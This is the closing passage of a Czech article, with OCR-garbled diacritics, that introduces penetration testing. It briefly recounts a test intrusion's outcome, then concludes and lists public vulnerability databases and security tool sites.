majici uid 0), byl upraven soubor /etc/motd a do
uvodni WWW stranky byl vlozen komentatr "I was
here”. Nebyl podniknut zadny pokus o odstranéni
stop po utoku kromé€ ukonceni superuzivatelské
seance na konzoli.

Zaver

Doufam, ze se mi timto pfispévkem podaiilo
srozumitelnym zplisobem seznamit publikum nejen
se samotnou definici penetracniho testu, ale piede-
v§im s pfinosy a uzitkem, které jim penetracni testy
mohou pfinést a rovnéz, Ze se mi podafilo nechat
alesponi letmo nahlédnout do zakulisi této do jisté
miry specifické sluzby.

Pro zijemce o vice informaci uvadim nekteré
zajimavé WWW adresy:

http://cve.mitre.org — databaze vetejne publikovanych
slabin CVE

http://www.securityfocus.com — dalsi databaze
vetejné publikovanych slabin BUGTRAQ

http://www.ntbugtraq.com — databaze slabin
zamétena na platformu Windows NT/2k

http://www.nessus.org — NESSUS automaticky
nastroj pro testovani bezpecnostnich slabin
http://packetstorm.securify.com — internetovy portal
zamétfeny na problematiku bezpecnosti
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